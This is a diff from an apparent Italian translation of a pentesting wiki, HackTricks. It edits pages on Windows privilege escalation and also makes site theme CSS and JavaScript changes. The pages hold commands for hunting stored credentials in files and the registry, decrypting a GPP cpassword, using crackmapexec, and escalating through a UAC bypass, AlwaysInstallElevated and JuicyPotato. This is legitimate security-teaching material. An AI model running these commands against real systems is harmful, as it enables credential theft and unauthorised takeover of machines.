I **file di credenziali protetti dalla password principale** si trovano solitamente in:
I **file delle credenziali protetti dalla password principale** si trovano solitamente in:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -786,7 +786,7 @@ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
### **Gestore delle credenziali di Desktop remoto**
### **Gestore Credenziali Desktop Remoto**
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
@ -799,7 +799,7 @@ Le persone spesso usano l'app StickyNotes sui workstation Windows per **salvare
### AppCmd.exe
**Nota che per recuperare le password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\
**Nota che per recuperare password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\
**AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\` .\
Se questo file esiste, allora è possibile che alcune **credenziali** siano state configurate e possano essere **recuperate**.
@ -932,6 +932,8 @@ C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
Puoi anche cercare questi file utilizzando **metasploit**: _post/windows/gather/enum_unattend_
Esempio di contenuto:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -976,9 +978,9 @@ Cerca un file chiamato **SiteList.xml**
### Cached GPP Pasword
Una funzionalità era precedentemente disponibile che consentiva il deployment di account amministratore locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Criteri di Gruppo (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, crittografate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decrittografate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
Una funzione era precedentemente disponibile che consentiva il deployment di account amministratore locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Group Policy (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decriptate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
Per mitigare questo rischio, è stata sviluppata una funzione per cercare file GPP memorizzati localmente contenenti un campo "cpassword" che non è vuoto. Una volta trovato un file del genere, la funzione decrittografa la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza.
Per mitigare questo rischio, è stata sviluppata una funzione per cercare file GPP memorizzati localmente contenenti un campo "cpassword" che non è vuoto. Una volta trovato un file del genere, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza.
Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (precedente a W Vista)_ per questi file:
@ -989,7 +991,7 @@ Cerca in `C:\ProgramData\Microsoft\Group Policy\history` o in _**C:\Documents an
- Printers.xml
- Drives.xml
**Per decrittografare il cPassword:**
**Per decriptare il cPassword:**
```bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@ -998,7 +1000,7 @@ Utilizzando crackmapexec per ottenere le password:
```bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
```
### Configurazione Web di IIS
### Configurazione Web IIS
```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
@ -1190,13 +1192,13 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
**Cerca un file con un certo nome di file**
**Cerca un file con un certo nome**
```bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
**Cerca nel registro chiavi e password**
**Cerca nel registro i nomi delle chiavi e le password**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@ -1249,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
```
## Furto di password dai processi
## Da Utente a Basso Privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass UAC
## Da utente con privilegi bassi a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass UAC
Se hai accesso all'interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" da un utente non privilegiato.
@ -1324,7 +1326,7 @@ sc start newservicename
```
### AlwaysInstallElevated
Da un processo ad alta integrità potresti provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell utilizzando un _**.msi**_ wrapper.\
Da un processo ad alta integrità puoi provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell utilizzando un _**.msi**_ wrapper.\
[Maggiori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto _.msi_ qui.](./#alwaysinstallelevated)
### Privilegi High + SeImpersonate a System
@ -1350,7 +1352,9 @@ Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in es
### **Da Administrator o Network Service a System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### Da LOCAL SERVICE o NETWORK SERVICE a privilegi completi
@ -1367,9 +1371,9 @@ Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in es
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla per misconfigurazioni e file sensibili (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla per alcune possibili misconfigurazioni e raccoglie informazioni (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla per misconfigurazioni**\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla configurazioni errate e file sensibili (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili configurazioni errate e raccoglie informazioni (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla configurazioni errate**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\
@ -1381,11 +1385,11 @@ Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in es
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca vulnerabilità di privesc note (deve essere compilato utilizzando VisualStudio) ([**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più uno strumento di raccolta informazioni che di privesc) (deve essere compilato) **(**[**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando configurazioni errate (più uno strumento di raccolta informazioni che di privesc) (deve essere compilato) **(**[**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato in github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porting di PowerUp in C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla per misconfigurazioni (eseguibile precompilato in github). Non raccomandato. Non funziona bene in Win10.\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla per possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene in Win10.
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla configurazioni errate (eseguibile precompilato in github). Non raccomandato. Non funziona bene in Win10.\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili configurazioni errate (exe da python). Non raccomandato. Non funziona bene in Win10.
**Bat**

9
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`**. _**Controlla:**_
> [!WARNING] > **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`**. _**Controlla:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -19,7 +18,7 @@ _Versione zuccherata di_ [_RottenPotatoNG_](https://github.com/breenmachine/Rott
[**Dal Readme di juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata su [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [servizio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) che ha il listener MiTM su `127.0.0.1:6666` e quando hai privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata sul [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [servizio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) avendo il listener MiTM su `127.0.0.1:6666` e quando hai privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata.
Abbiamo deciso di armare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Dì ciao a Juicy Potato**.
@ -108,7 +107,9 @@ c:\Users\Public>
Spesso, il CLSID predefinito che JuicyPotato utilizza **non funziona** e l'exploit fallisce. Di solito, ci vogliono più tentativi per trovare un **CLSID funzionante**. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Controllo dei CLSID**

19
theme/css/chrome.css
View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

6
theme/css/variables.css
View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

7
theme/index.hbs
View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

2
theme/pagetoc.css
View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

96
theme/pagetoc.js
View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})